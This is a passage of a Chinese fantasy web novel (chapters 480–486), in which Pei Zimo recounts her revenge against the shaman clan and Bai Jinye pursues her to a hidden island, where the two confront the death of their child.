“但发现的时候,一切都晚了,巫族已经能控制大部分人了,那跗骨线不过就是控制术里最简单的一种。” “我爹和我娘,从小就教我,一定要学会蛰伏,一定要隐忍,一定要找到最好的机会,一击必中。” “后来我爹死了,我娘殉情,皇族不愿意屈服于巫族的人,也都被巫族逐一解决。我继任女帝的那天,都没人敢来恭贺我,我一个人,孤立无援。那天我就发誓,一定要铲除巫族,一个都不留。” “巫族不讲血脉传承,只看资质,甚至于巫族的每任首领都终生不婚,没有子嗣。因为人一旦有了子嗣,就难免自私的为自己的血脉做打算。白锦夜,就是他们所公认的,无数年来,资质最高的那一个。” 第481章 你爱过他么? “我接近白锦夜的时候,他只知道修习术法,根本不懂人情世故。大概就是因为他资质奇高,所以巫族就把他保护的很好,他不知道巫族的那些勾当,也不知道巫族和皇族之间的血仇。那时候我就想,这大概就是上天赐予我,最好的复仇的机会。” “白锦夜知道,他身为巫族的继承人,是不能成亲的,他一开始对我百般避讳,但又怎么架得住我有心纠缠?没多久,我们就在一起了。那时他说,他要跟国师禀明,他不想继承巫族了,想跟我成亲。” “可那怎么行啊?我接近他,就因为他是巫族的继承人,他若是放弃了,那我苦心经营的一切,不就全都白费了么?” “我跟他说皇巫两族千百年来,都心存芥蒂,若是他能担任巫族的首领,我们一定可以打破这层芥蒂,消除彼此之间的隔阂,整个乾坤殿才能真正的融为一体。” “那时候,我说什么他都信,我们还有了一个孩子。尤其是有了孩子之后,他对我就更言听计从,那孩子被我偷偷养着,他虽然知道,也很少见到。” “再没多久,老国师病重,他成了巫族的首领,继任国师。我帮他伪造了一个身份,让他用新的身份跟我成亲,反正国师每每出现,都是罩在黑袍里面,没人知道他究竟长什么样子。这样既不耽误他做国师,也不影响我们之间的关系。” “拜堂成亲的那天,我安排人当众戳穿了他的身份,痛斥他欺瞒我,试图混淆皇族血脉。喜宴上的酒菜糖茶也早就下了药,我一剑把他刺成重伤,之后把他和来参加喜宴的巫族人全都绑到了广场上,细数了巫族多年来的罪行,然后一把火把他们都烧死了。” 裴子墨说到这,就停了下来,眉头轻轻地蹙了一下,没再说话。 凌珞看了她半响,最后才问,“孩子呢?” “也死了,我要树立皇族威信,我要让信奉巫族的人,失去他们的信念。巫族的首领违反了巫族无数年来的信条,不仅伪造身份与皇族的人成亲,甚至还有了孩子,显然这孩子将来就要继承皇族和巫族,巫族以资质选继承人的方式将成为过去,他们心中曾经信奉的,这一刻彻底坍塌。” “那天之后,巫族剩下的人要么臣服于皇族,要么被直接斩杀,臣服的人甚至交出了巫族所有的控术,皇族的声望达到空前的高度,我以为,事情就这样结束了。” “举国欢庆的时候,老国师却突然出现,原来他早就发现异常,才会称病让位,我还是棋差一着。” “但我死后,却并没有入地府,而是直接到了遁世岛。”裴子墨说着从怀里拿出上次裴子衿带过来的簪子,“一开始我也想不通,直到我在遁世岛那里见到了这个,这是乾坤殿的东西。也许冥冥之中,自有定数,而白锦夜也到了遁世岛。” “至于孩子的魂魄,我在地府游走多年,才找到。” “可我回不去乾坤殿了,我找不到去乾坤殿的路。直到我遇到‘神算公’,他答应我,帮我推算去乾坤殿的路,但我要帮他毁掉遁世岛。” “这个交易一做,就是这么多年,我其实想过,乾坤殿可能早就物是人非了,没有人敢反抗巫族,等我再回去,大概皇族就已经不存在了。” “但我也没有别的选择。” “我到遁世岛之后,还有以前的记忆,可白锦夜都没有了,倒是也挺好,后来我就干脆把他关于乾坤殿的记忆全都封印了起来。再往后,阴差阳错,又把你从他身上剥离出来……”裴子墨说着目光落在凌珞手里的烤鸡上,“烤好了吧?我饿了。” 凌珞把烤鸡递过去,看着她撕着鸡肉,一小块一小块的吃着,还是没忍住,低声问,“你……爱过他么?” 裴子墨轻声笑了笑,“你知道么?白锦夜在大火里,也这样问过我。” “可爱不爱又能怎么样?国仇家恨,在外面这么多年,每一天我都知道,要么巫族的人找到我,要么我回到乾坤殿,不死不休。” “但你还是想把这个孩子生下来。”凌珞又道。 “是啊。”裴子墨轻声笑了笑,“他其实很喜欢孩子,当时知道我怀孕的时候,他开心得不得了,但那会我不喜欢,我甚至想过不要生下来。他很少见到孩子,可他也确实是个好父亲。凌珞,我也许活不到回到乾坤殿报仇的那一天。但是只要这个孩子在,就有希望。” “即便这孩子将来不会走我这条路,但是只要白锦夜看到他,就会想起我,恨我也好,怨我也好,为了这孩子,他起码应该会放皇族其他的人一条生路。” 凌珞轻轻皱了下眉,“你的意思,白锦夜还会回乾坤殿?还会成为国师?” “这是乾坤殿第二次出来找我,上一次他们没停留多久就走了,这一次,应该是迫不得已。那年我烧死的,几乎都是巫族的重要人物,在老国师出来之前,又血洗了一遍,我死的时候,老国师可没有满头银发,这些年,他大概过得也不算太好。” “这一次他没有亲自动手,说不定已经快要油尽灯枯了,可惜没有好的继承人,才只能出来找白锦夜。” “想一想,也有几分凄凉。” 裴子墨吃了半只鸡,剩下的半只递给了凌珞,“九殇剑的伤,很难恢复,只能靠血莲慢慢养,我若是昏迷了,你就要随时温养血莲,按照我给你的地图走。若是路上遇到巫族的人,只要白锦夜不在,可以用黄泉路,巫族的人擅长控术,但破不开黄泉路。” 凌珞看着她苦笑了一声,“七杀斩已经断了,我现在没什么能割破皮肤。” 裴子墨拿出凌迟刀递了过去,“他有九殇,这刀就用不上了。” 凌珞诧异地接过她手里的刀,“你什么时候顺来的?” “他刺我的时候。”裴子墨说着站起来,扶着墙壁进了山洞里面,躺在了干草上。 凌珞转头看她,“这也是你算到的?” 裴子墨没说话。 凌珞掂了掂手里的刀,又道,“那七杀斩你说了送给我,现在可不能拿凌迟刀糊弄我,将来你得赔我一柄剑才行。” 裴子墨懒得理他,闭上眼睛睡了。 第482章 你这辈子都翻不出她的手掌心 凌珞第二天早上醒来的时候,见裴子墨始终没动,上前检查了一下,果然是晕了。 他先喂饱了血莲,就按照地图上的标注,带着裴子墨出发。 * 白锦夜也派了人四处寻找,可能找的地方都找过了,丝毫没有裴子墨的消息。 他冷着脸回王府的时候,就见到寒羽在门口转来转去,见到他,寒羽才慢慢地走过来,低声问,“你跟裴子墨是闹掰了么?你是要杀了裴子墨么?” 寒羽并不知道那天到底发生了什么,可紫翅天鹏看到了,它叽叽喳喳的喊寒羽逃命,说白锦夜疯了。 但寒羽不信,以前左辞在的时候,没少跟他念叨白锦夜和裴子墨的事,让他觉得就算白锦夜疯了,应该也不会伤害裴子墨。 这是他和紫翅天鹏做朋友以来,第一次质疑紫翅天鹏的话,于是他决定来问问白锦夜。 白锦夜抬眼看向寒羽,却突然想到什么,没有回答他的话,只是问,“鬼卿和楚星玄呢?” “不知道啊。”寒羽茫然地摇了摇头,自从裴子墨消失之后,鬼卿和楚星玄也不见了,他甚至怀疑是裴子墨走的时候带上了他们,就单单把他和紫翅天鹏扔下了。 白锦夜停下脚步,盛京城内的附骨线已经解决了,楚星玄这次来,就是为了东凉国的事情,不可能事情没解决人就走了。 除非……裴子墨早就把解决附骨线的药给了楚星玄,只等着一个合适的机会,让他离开。 楚星玄必然是去东凉国了,那天裴子墨走的时候,跟着她的只有凌珞,而袁澈早就被她打发回了北冥国,那鬼卿……就是去西夜国了。 白锦夜转身就往外面走。 “诶,你还没回答我呢。”寒羽跟了两步追问道。 * 鬼卿处理完西夜国的附骨线,估摸了一下路线,就往裴子墨离开的反方向走。 在他即将到达楚江颠的时候,白锦夜就追了上来。 白锦夜看了眼他身后不远处的楚江颠,这地方他之前已经来过了,但裴子墨不在,鬼卿往这边走,他也不可能有办法进入楚江颠,所以这肯定是故意诱导他。 “我就说你身上怎么总是有熟悉的气息,以前我还以为,你我同为冥尸,所以才会有这熟悉的感觉,现在我才知道……”白锦夜打量着鬼卿,“你是裴子墨身边那个侍卫吧?兜兜转转,她找到了你的转世,你也还是……这么死心塌地的跟着她。” 鬼卿看着白锦夜,脸色平静,没有说话。 “她在哪?”白锦夜沉声问道,“鬼卿,你若真是想帮她,就不该帮她隐瞒,回了乾坤殿,也许我能放她一条生路。” “然后呢?”鬼卿开口问道,“你放她一条生路,以她的族人做要挟,囚禁她一辈子么?” “那不是你该操心的事。”白锦夜皱了下眉,“她离开,带上了凌珞,却没带你,你已经是她的弃子了,还要这样维护她?” 鬼卿轻笑了一声,“可你别忘了,凌珞本来就是从你身上剥离出来的,某种程度上,他也是你,你有的,他全都有,不——皇族和巫族之间的仇恨,他是没有的,所以他可以全心全意地对裴子墨好。” “裴子墨可以跟你在一起,为什么不能跟凌珞在一起呢?不管他们跑到哪,只要好好的躲起来不被你们找到,就可以好好地过日子,可以成亲生子。” “我是她的侍卫,我本来就以命来维护她,只要她过得好,就算要我死,那也是我分内职责。” 白锦夜眯了眯眼,扬起马鞭就朝鬼卿抽去。 鬼卿抬手抓住马鞭,“怎么?被我说到痛处了?白锦夜,爱就爱得死心塌地,恨也恨得彻底一点。像你这样又爱又恨,以后还是会被人利用的。” “我再问你一遍,她在哪?”白锦夜收回马鞭,翻身下马,朝鬼卿走过去,“别再考验我的耐心。” “我不知道。”鬼卿说着转过身,继续往前走,“她让我做的最后一件事,就是解决西夜国的附骨线。白锦夜,你看,这就是你们之间的差距。即便你们巫族手上有解药,你们也从未想过去救东凉国和西夜国的人,若不是你此时还是天风国的肃亲王,大概也不会管盛京城的人。” “可她即便是要逃命,走之前,也把所有的事情安排好。” “你们巫族视人命为草芥,而你就要成为这样一族的首领,难道你能改变这已经刻在巫族人骨子里的恶习么?” 白锦夜顺着鬼卿走的方向往前看去,再前面,就是圣女一族原来生活的地方,他垂眸思索了片刻,跟上了鬼卿。 鬼卿侧头看了看他,“我跟你说了,我不知道她在哪,你要么就杀了我,别再在我身上浪费时间。” “杀了你?我可不会现在杀了你。”白锦夜轻笑一声,“她在乎的人,我不是得留着到了她面前,再杀掉么?当年她杀我族人的时候,可一点没手软,我那样求她,她都不肯停手,我倒是想,如果换过来,她会怎么求我。” “她不会求你的。”鬼卿轻笑了一声,“你要是想见到这个,就别痴心妄想了。”顿了顿,他又继续道,“其实你也挺可怜的,一直都在她的掌控之中,在乾坤殿的时候,你对她言听计从,从乾坤殿出来,这些年你没了乾坤殿的记忆,就帮她一起对付遁世岛。” “现在她躲起来,只要她不主动出现,你就永远都找不到她,而她现在已经有了凌珞,你恨也好,爱也好,连个可以发泄的对象都没有。” 白锦夜手一翻,九殇便出现在他的手里。 鬼卿侧头看了眼他手里的剑,又继续道,“白锦夜,你这辈子都翻不出她的掌心。” “你找死。”白锦夜抬手就往鬼卿的后心刺去。 鬼卿也没有躲,甚至停下了脚步,随后闭上了眼睛。 他要做的事,已经做完了,若是死了,反倒是解脱,可如果不死落在白锦夜的手上,将来就要成为白锦夜要挟裴子墨的筹码,他宁愿死,也不愿裴子墨为他以身犯险。 第483章 找不到人我是不会走的 白风御已经有几个月没见到白锦夜了。 但是有关白锦夜的奏折,却堆满了他的案头。 他愁的头发都白了百十来根。 以前他最喜欢喝皇后煲的汤,可现在这汤摆在他面前,他一丝丝胃口都没有,于是忍不住又叹了口气。 “皇上,总不能跟自己的肚子过不去。”皇后拿起汤勺,递给白风御。 白风御接过来,勺子在汤盅了搅了搅,又放了下来,“皇后,你说到底发生什么事,能让一个人突然性情大变,前后……简直就判若两人。” 皇后也明白白风御说的是谁,不要说白风御,就连她在后宫之中,也隐约地听说了一些。 肃亲王府像是发生了什么事,王妃失踪了,肃亲王府的人,每天都在寻找王妃的下落。 听说白锦夜把最后接触过裴子墨的人,全都抓了起来,严刑拷问。 以往若是有人因为朝事去找白锦夜,白锦夜也总会帮忙,可是最近却把去他府上的人全都赶了出来。 他不上朝,不管朝事,白风御让人去传他进宫,他也不来。 整个人,哪哪都不太对劲。 “若是能知道,那天肃亲王府里到底发生什么事就好了。”白风御叹了口气,最终也还是没喝汤,而是站起身,“我去他府上看看。” 皇后想说什么,但也知道这是白风御的心病,不解决他也放不下,便只能叮嘱,“小心。” 白风御微服出宫,也就带了两个侍卫,到肃亲王府的时候,白锦夜不在,他就进去在堂上喝茶,一抬头,突然见到司空在外面路过,便着人把司空喊了进来。 司空的脸色也不太好,像是许久没有好好休息过了。 “司空,这府上最近是出了什么事?”白风御一边喝茶一边问道,“朕许久没见过王爷了,他在忙什么?” 司空垂着头,犹豫了半响,也不知道该怎么回答,最后只能说,“有一日属下陪着王爷在城郊办事,突然有个黑袍人出现,属下也不知道他跟王爷说了什么,但王爷……突然就变了,他们两个一起离开,属下没追上,就想回王府通知王妃。可是……” 他咬着唇,又纠结了半响,“可属下看到,是王爷刺伤了王妃,然后王妃离开了。” “因为什么?”白风御一愣,赶紧问。 “这属下就不知道了。”司空说着,又压低了声音,“那黑袍人之后就住在了府上,偶尔会跟着王爷一起出去。” “黑袍人?”白风御拿着茶杯,之前白锦夜去宫里跟他说那特产的时候,就提过黑袍人,莫不是同一个人? 他点了点头,摆了下手,示意司空离开。 司空皱了下眉,想要离开,但想了想,脚步停了下来,低声提醒道,“皇上,那黑袍人……”可说了这个,又不知道该怎么继续说,“不知道王爷是不是被黑袍人控制了。”说完他又斗胆道,“最近王府伺候那黑袍人的下人,已经死了好几个,王爷也只是让府上出钱去安抚家人。”他说着跪在地上,“皇上,属下……” “司空,你在这里做什么?”白锦夜的声音传过来,司空也就闭了嘴,不敢再说下去。 “皇弟。”白风御抬起头,“是我等你无聊,叫司空过来聊几句。” 白锦夜走进门,瞥了司空一眼,司空就赶紧告退了。 “我听说你最近派了人手,在找王妃的下落,怎么,又闹矛盾了?”白风御出声问道。 白锦夜也在堂上坐下,“皇兄国事操心不过来,还有心思管我的家事?” 白风御一怔,压根没想到白锦夜会这样说话,顿了顿,才干笑了两声,“是啊,这就是国事要操心的太多,想让你帮我分忧,所以才关心你的家事,看看你什么时候才能有时间来帮我分担分担。” “天风国的事,我不会再管,过段时间,我就会离开这里。”白锦夜又道,“你不必再来找我,也不要让其他人来烦我。” 话已经这样说,白风御沉默了会,便站起身往外走,走到门口,又转身看向他,“不知道是你变成这样,王妃才离开,还是因为王妃离开你才变成这样。不过以王妃的为人,我想大概是前者。” 白锦夜眯眼朝白风御看去,眼底闪过一抹杀意,“皇兄很了解我的王妃?” “我以为我多少了解你,但我现在发现我不了解,所以我也许也不了解王妃。兄弟一场,好自为之吧。”说完,白风御迈步离开。 白锦夜的手捏着椅子的扶手,五个指尖在扶手上留下深深的痕迹。 一道攻击却从突然从后堂飞出,直奔白风御的后背。 白锦夜抬手一挥,拦下了攻击。 白风御继续往外面走,丝毫没有察觉。 片刻后,黑袍人从后堂走了出来,冷哼了一声,“锦夜,你还是那么优柔寡断,区区一个普通人,这样与你说话,又何必留着?” “我说过,你再胆敢伤害一个天风国的人,我绝不会放过你。”白锦夜眯眼看去。 黑袍人和白锦夜对视半响,最后轻咳一声,“若是找不到人,那过段时间,我们就该回去了。” “找不到人,我是不会回去的。”白锦夜又道。 “若不是那日你手下留情,你只要能缠住她片刻,我就能一击毙命,她还能有命逃出去?回去还有很多事要做,没有太多的时间浪费在这里。”黑袍人继续道,“等回去后,你的地位稳定了,想找人再出来找就是。” 白锦夜收回目光没有说话。 黑袍人又咳了咳,又让一步,“三个月,再给你三个月的时间,如果还是找不到,那就必须回去了。回去之后,我得想办法把你身上这阵法去了,不然她控制你,我若是不在,怕没人能破开这阵法。” “王爷。”黑袍人的话音落下,就有侍卫从外面跑进来,气喘吁吁的报告,“王爷,沿海一代有渔民说,大概四个月之前,见过疑似王妃的女子和一个男子乘船出海。因为那女子是一直是昏迷的,所以渔民的印象很深。” 白锦夜蓦地站起身,“出海去了哪?” 第484章 两朵血莲 “不清楚。”侍卫摇了摇头,“渔民说那两人到渔村的时候,连续几天天气都不好,没法儿出海,两人在渔村里住了几天,后来好像很着急,大风天就要出发,没有渔民敢送,他们就买了船,自己走了。” 侍卫犹豫了下,偷偷抬头看了眼白锦夜,又低声道,“渔民说,他们离开之后,天气更糟,连着下了三天暴雨,海上电闪雷鸣,他们有可能……”说到这,他也不敢再说下去了。 那些渔民都说,那种天气,出海的人不可能活下来。 但这话谁敢直接对白锦夜说呢?眼见着最近因为找王妃的事,王爷都快疯魔了,这话再说出来,那不是直接往白锦夜的胸口捅刀子么? 白锦夜眯了眯眼,就往外走。 “锦夜。”黑袍人也跟了上去,“我和你一起去。” “不必了。”白锦夜转头看他,“三个月为期,找到人了,我就带着人回来,找不到人,我自己也会回来。” “找到人你就能带回来了?她若是控制你,你还能做什么?”黑袍人眯起眼,“还是你有什么其他的打算?” 白锦夜轻笑一声,“你若愿意,那你跟着就是,如今你身体的状况,你自己清楚,你自认为经得起折腾,那就随意。” 一个时辰后,白锦夜和黑袍人两个人就骑快马离开了盛京。 白风御知道的时候,已经又过了一个时辰,当然他也丝毫不知道自己这一趟去肃亲王府,是在生死边缘走了一圈。 听闻白锦夜离开,他顿时又白了两根头发。 只希望白锦夜能找到裴子墨,然后裴子墨好好管教他一番。 * 凌珞带着裴子墨沿着路线,确实是到了海边的一个渔村。 裴子墨昏迷的时候多,但是偶尔也会清醒。 那几天天气不好,没有渔民敢出海,裴子墨就说这几天刚好,没人出海,就没人知道他们去哪里了。 他们虽然隐藏了气息,但是也抵不住最原始的找人方式,只要白锦夜愿意,就总能打探到她和凌珞出现过的地点。 她受伤昏迷,这就是最好的标记。 于是凌珞就特意挑了一个大风天,买了船,带裴子墨出海,为了防止有人追上来,他甚至连续召了几天雨,一直到早就过了渔民打鱼的海域,他才放下心。 裴子墨就这样断断续续的差不多昏迷了快三个月,在他某一次喂养血莲的时候,却发现在原来的这朵血莲旁边,又长出了一个花骨朵。 这种情况,他也是前所未见。 但唯一能确定的是,两朵血莲的功效确实更好,在他发现这朵花骨朵的那天,裴子墨就清醒了过来,虽然还是很虚弱,但不会再昏迷了。 在他们目的地的小岛上,已经盖好了一处房子。 房子被阵法笼罩,所以虽然可能已经过了很多年,但也没有受风雨的侵蚀。 里面粮食和药材都有,看着样子,裴子墨便是很早之前就都已经安排好了。 裴子墨醒来后,凌珞做的第一件事,就是喜滋滋的跟她炫耀自己最近打的鱼和晒的鱼干,她看着挂了一院子的鱼干,脸顿时就黑了,“你这么多天,就是在打鱼?” “是啊,不然我还能干什么?”凌珞摊了摊手。 裴子墨忍了又忍,最后才道,“屋子里有那么多书,你都没看么?” “看了看,一些医书,不感兴趣。”凌珞无所谓的道。 裴子墨笑着看他,“你有没有想过,等我生孩子的时候,你要做什么?站在门外给我加油打气呐喊助威么?” 凌珞微微怔了一下,木然地问,“对哦,谁给你接生呢?” 裴子墨深呼吸了几下,又说,“你看这些鱼干能不能帮我接生?” 凌珞挠了挠头,“可我不会啊。” “所以,你说我为什么要准备那些医书呢?”裴子墨看着他,认真地问道。 凌珞,“……” 于是凌珞开始忙碌了起来,甚至抓到了两只兔子,想要观察一下兔子生小兔。 但观察了许久才发现抓来的是两只公兔子。 裴子墨看着他每天折腾,总算是赶在她生孩子之前,新抓来的两只兔子生了一窝小兔子。 于是凌珞就更忙了,每天大部分时间都用在小兔子的身上,等小兔子满地乱跑的时候,他就跟小兔子玩得不亦乐乎。 裴子墨坐在树下的长凳上,看着凌珞手里捧着小兔子,认真跟小兔子说话,忍不住道,“你还真是……童心未泯。” “我毕竟一个人在九幽圣谷里生活那么多年,总得自己找点乐子,不然日子就过得太慢了。”凌珞走过来,把小兔子放在裴子墨的怀里,又道,“这只小兔子比较黏人,性格又温顺,这可是我亲手养大的,跟你一样,所以你们得好好相处。” 小兔子果然很听话,趴在裴子墨怀里一动不动,还舔了舔她的胳膊。 裴子墨低头摸了它一会,才从袖袋里拿出一张图交给凌珞,“这是我之前就设好的阵法,有几处需要改动,我标注出来了,你帮我把阵法改一改,然后都启动吧。” 凌珞接过图纸,微微抿了下唇,才道,“他们要找来了么?” 裴子墨摇了摇头,“我也不知道,我连续几天起卦,都是大凶。不过就算他们不找来,生孩子也不是一件容易的事,我就怕到时候会出什么意外。” 凌珞沉默了一会,“别太担心。”顿了顿又补充,“再说,你以前那几世,不是生过孩子么?应该有经验吧?” “我死的次数更多,对死也很有经验,你要不要试试?”裴子墨转头看他。 凌珞语塞,转口问道,“你之前把白锦夜炼成冥尸,应该防的,就是这一天吧?” “嗯,老国师不在,问题就不大,他如果在,很容易能破开我的控术。”裴子墨叹了一口气,“我学的所有控术,来源都是巫族,虽然很多后面我都做了改动,但万变不离其宗。” 凌珞看着她,犹豫了一下,还是问,“白锦夜,就完全不可能站在你这边了么?” 第485章 他这会还在海上漂着 裴子墨转头看他,“如果我只是杀了他,他大概不会恨我,但……其实换换位置,我也一样,我的亲人死在巫族的手上,我也恨他们。” “况且,我和他之间,也从不仅仅是我单方面的利用他这么简单。” “就算我认识他的时候,他心性单纯什么都不知道,但他可毕竟是巫族下一任首领的继承人,时间久了,很多事不见得永远不知道。” “我利用他,他一样对我身边的人下过手。那时我秘密培养了一支卫队,每个人都是我亲手教出来的,死心塌地,鬼卿就是其中之一。” “但后来,那支卫队所有的人,除了鬼卿,全死了。” “知道那支卫队存在的人,只有他。” “诸如此类的事情,多的是。到最后,如果我不先动手,估计他也一样要动手了。” 凌珞轻轻叹了一口气,没再说话,站起来要离开。 裴子墨看着他的背影,又道,“凌珞,有一件事,我瞒了你。其实把你剥离出来的时候,我也有私心,如果事情真到了万不得已的时候,我会把你打回到他的身体里。” 凌珞停下脚步,转头看她,“然后呢?” “你现在和他的实力其实不相上下,到时候,就各凭本事,你赢了,以后活着的就是你,你输了,你就会永远消失。”裴子墨开口道。 “但我的赢面不大,是么?”凌珞又问。 裴子墨点了点头,“虽然实力差不多,但是他的术法都是他自己学到的,你本身的术法不如他,因为他而提升的那部分,你用起来肯定不熟练,所以你确实赢面不大。但……但共命还会在。” “共命这术法,我如果直接用在他身上,他们一定会想办法解除,所以我才只能用在你身上,到时候,如果你消失了,这术法就会转移到他的身上。起码那一刻,他们不会杀死我。” “就是用我,换一线生机。”凌珞低声道,“你为什么现在告诉我,你不怕我跑么?” 裴子墨摇了摇头,“开始的那些年,我恨他,恨巫族,也恨你。把你从他身上剥离的时候,我也确实想过散了你,但你是你,他是他,终究还是不一样吧。我骗过他,但我不想再骗你了。” 凌珞轻笑了一声,没再说话,转身走远。 他用了三天的时间,才把阵法改好,又全都启动。 之后便也不出去打鱼了,每天就在院子里追兔子玩。 裴子墨其实不太会做针线活,孩子的衣服也早就备好,但偶尔也还是努力的尝试能不能亲手做出来一件小衣服。 只不过拆拆改改,连一只像样的袜子都没做出来。 白锦夜到的时候,就见到这么一副岁月静好的画面。 他想,如果他不来,裴子墨和凌珞在这里,说不定真的会像鬼卿说的那样,成亲生子,好好过日子。 裴子墨放下手里的针线,抬眼看向外面。 凌珞也把兔子放在了一边,站起身,警惕地看着门外。 裴子墨倒是没想到,会是白锦夜一个人来,她转头看了凌珞一眼,凌珞也摇了摇头,表示确实没有感受到别人的气息。 以老国师的谨慎,明知道她可以控制白锦夜,是绝对不会让他只身前来的,除非是他已经彻底地破开白锦夜身上冥尸的控术。 只不过,她依旧能清晰地感觉到白锦夜身上阵法的波动,那些术法都还在。 白锦夜慢慢地走进来,所有设置的阵法并没有攻击。 那些阵法,本来也不是针对白锦夜的,一开始就是为了针对老国师,是为了把他和白锦夜分开的。 凌珞侧身往前走了几步,拦在了白锦夜和裴子墨之间。 白锦夜也就停下了脚步,目光越过凌珞,落在了裴子墨的身上。 刚才有桌子挡着他没看清,但这会却看得清清楚楚,裴子墨的肚子高高隆起,显然是已经快要生了。 他轻轻皱了一下眉头,她从盛京离开到现在,差不多也有七个多月了,如果这孩子已经快要生了,那就是说,在她离开盛京的时候,便已经怀孕了。 他早就该察觉到异常,裴子墨一直跟他保持距离,但突然就留他在房里睡觉。 那会他还觉得开心,觉得跟裴子墨也算是苦尽甘来,她也终于愿意接受他。 哪知道这件事也本就在她的算计之中。 “国师不会让你一个人来。”裴子墨看着他,先开了口。 “确实。”白锦夜点点头,“不过他这会还在海上漂着,想要找过来,大概也需要点时间。”说完,他顿了顿,看向凌珞,“你非要不识相的站在这,影响我们‘夫妻相聚’么?” “少往自己脸上贴金,夫妻相聚,我看你可能是想瞎了心。”凌珞皱起眉头,动也没动。 白锦夜手一垂,九殇就出现在他手里,他微微眯了眯眼,“若是非要动手你才能好好说话的话,我不介意。” “凌珞。”裴子墨抬手拉了拉他的衣角,对他使了个眼色。 凌珞这才冷哼了一声,从气息上看,虽然只有白锦夜一个人,但他也还是道,“我出去看看。” 裴子墨点点头,叮嘱了声小心。 等凌珞走远了,白锦夜才收起九殇,在裴子墨的对面坐下来,“你真是打的一手好算盘,但跟一个替代品在一起,有意思么?” “凌珞不是你的替代品。”裴子墨看着他,隔了会才问,“你吃醋?” 白锦夜没说话。 裴子墨像是在说笑,也不在意他是否回答,只是问,“鬼卿呢?” “你和凌珞走的时候,没想过带上他,就应该能猜到他的结局。当年他是漏网之鱼,你觉得他现在落在我手上,会怎么样?”白锦夜反问道。 裴子墨也没什么太多的表情,只是轻轻点了点头。 “鬼卿要是知道,他死了,你连难过的表情都没有,大概会后悔为你做过的一切。”白锦夜冷笑了一声,“不过也是,你这样铁石心肠,又能在乎谁呢?” 裴子墨看着他,良久才道,“锦夜,人活着,不能只看某段记忆,从乾坤殿出来到现在,其实发生了更多的事……” “但你不一样还是在利用我?”白锦夜打断她。 “不,我的意思说,你应该知道我和地府那边的事情,地府那边,没有收到鬼卿的魂魄。”裴子墨慢慢地道。 第486章 你从来没想过不要他 “说不定我散了他的魂魄。”白锦夜又道。 裴子墨垂眼笑了笑,也不在这个问题上纠缠,过了会才问,“你扔下国师一个人过来,是有事要跟我谈?” “没有,只是我和你的事,我不想让别人插手。”白锦夜目光落在她的肚子上,轻轻皱了下眉头。 “可我怀孕了,锦夜,是你的孩子。”裴子墨抬手摸了摸肚子,“应该这几天,就快生了。” “当年,你亲手把孩子推进火里的时候,我求过你,让你放过孩子,他才几岁,那么无辜,什么都不知道,却被他最爱最信任的母亲推进火里生生烧死。”白锦夜眉头蹙得更紧,“你当时也跟我说,这是我的孩子,决不能留下……‘孽种’,他哭着喊你娘的时候,你心软过么?” 裴子墨看着桌面,“那你现在打算怎么做?在孩子出生之前动手,还是等他出生以后?” 白锦夜没有说话。 “你一个人过来,就证明你不想让我死。”裴子墨又道。 “可我恢复记忆之后的每一天,都恨不得你死。”白锦夜放在桌面上的手握成拳头。 “孩子不是我杀的。”沉默了半响,裴子墨才开口道,“如果不是因为这个,我也不会杀你那么多族人。在大婚之前,孩子就死了。” “知道孩子存在的,只有你,我,还有我极其信任的人。从接近你开始,一切确实都在我算计之中,除了孩子。孩子跟我姓,也没有人知道他的父亲是谁,就算将来我们势不两立,他最多被人认为是私生子,按不到你头上。” “但是有一天,我从你那回来的时候,孩子,和照顾孩子的人,都死了。那天,是你的生辰,你让我陪你去了很远的山崖上,看日落。” 她说着看向他,吸了一口气,“我想过很久,那天,是不是你故意约我出去,去很远的地方,别人找不到我,有什么事我也不能马上回去处理。” “孩子死了,死在你们巫族人之手,我不该让你们付出代价么?” “其实看着孩子的时候,尤其你偶尔去陪着他的时候,我们一家三口在一起,我无数次的想过,冤冤相报,没有尽头。如果我,如果你,都放下过往两族之间的仇恨,如果我们一起努力,是不是能真的消除所有的隔阂,两族通婚,慢慢的,真的能成为一家人。” “可那唯一的希望,也没有了。皇巫两族,再也没有修好的可能,那就让仇恨来的彻底一点。” “那时,你在大火里,已经是重伤,不然你应该能发现,那孩子身体里,是我封印的游魂。” “等我到了地府,用了无数年,才找到孩子的魂魄。” “现在,他又可以重新回到我身边,白锦夜,要么你杀了我,杀了孩子,去做你那个只能孤独终老毫无人性的巫族首领。要么,你就现在离开,装作没找到我,装作不知道孩子的事情。将来等我回了乾坤殿,我们再一笔一笔的算账。” 白锦夜拧着眉,半响才问,“你有证据证明……杀了孩子的是巫族人么?” “我也猜测过,是不是在皇族里,也一样有不愿意见到两族交好的人。在杀了巫族那么多人之后,我有时候也会惊醒,想着我是不是做错了,是不是被人利用了。”裴子墨说着顿了顿,“后来,我死的时候,老国师亲口承认这件事。他说……是你向他透露了孩子的存在。” 白锦夜紧抿着唇,像是想到了什么。 “不过他说你应该是无心,因为有一日,你俩在街上走的时候,你买了个小风车,后来又意识到了什么,把这个风车送给了路边的一个小孩子。”裴子墨又继续道,“这应该不是他胡诌出来骗我的吧?” 白锦夜闭上眼睛,敛去眼底的痛苦,半响他才睁开眼睛,“裴子墨,孩子的死,如果算到我头上,将来我以命相抵,但是……那么多巫族人死在你手上,不能就这么算了。” “我没有说算了,我说了,这些事,将来我们都会一笔一笔的算清楚。”裴子墨看着他。 白锦夜没再说话,站起身往院子外面走。 等凌珞回来的时候,院子里没有人,裴子墨已经回房间去歇着了。 “确实是他一个人来的。”凌珞给自己倒了一杯水,又问,“这算是谈好了,还是谈崩了?” 裴子墨轻轻摇了摇头。 凌珞叹了一口气,“那你怎么想?” “我和他从开始,彼此的目的就不单纯,这里面已经掺杂上太多的事情、太多的人。”裴子墨垂下眼,“已经不是我想怎么样,就能怎么样了。” “但你心里,应该有他的吧。”虽然像是疑问,但凌珞出口却是肯定的语气,“你们一起转世到遁世岛,他不记得以前的事,可你都记得,你可以选择杀了他,或者远离他。你没有,你还是把所有的事情都带上了他。即便你知道,这最后一层封印早晚会解开,你们早晚还是会变成仇人,你都没有想过不要他。” “这么多年里,我也不信你没有遇到过更好的人,但对你来说,他永远都是不一样的那个。” 裴子墨轻声笑了笑,“我有时候想过,如果回到一开始,我会怎么选,我是不是还会接近他。可很多事情,没有如果。” “你还是会的,不过你们如果能坦诚相待,说不定有放下仇恨的机会。”凌珞看着她,“子墨,人有的时候,没必要背负那么多,活得自私一点没什么不好。” “你这说教的口吻是跟谁学的?”裴子墨看着他。 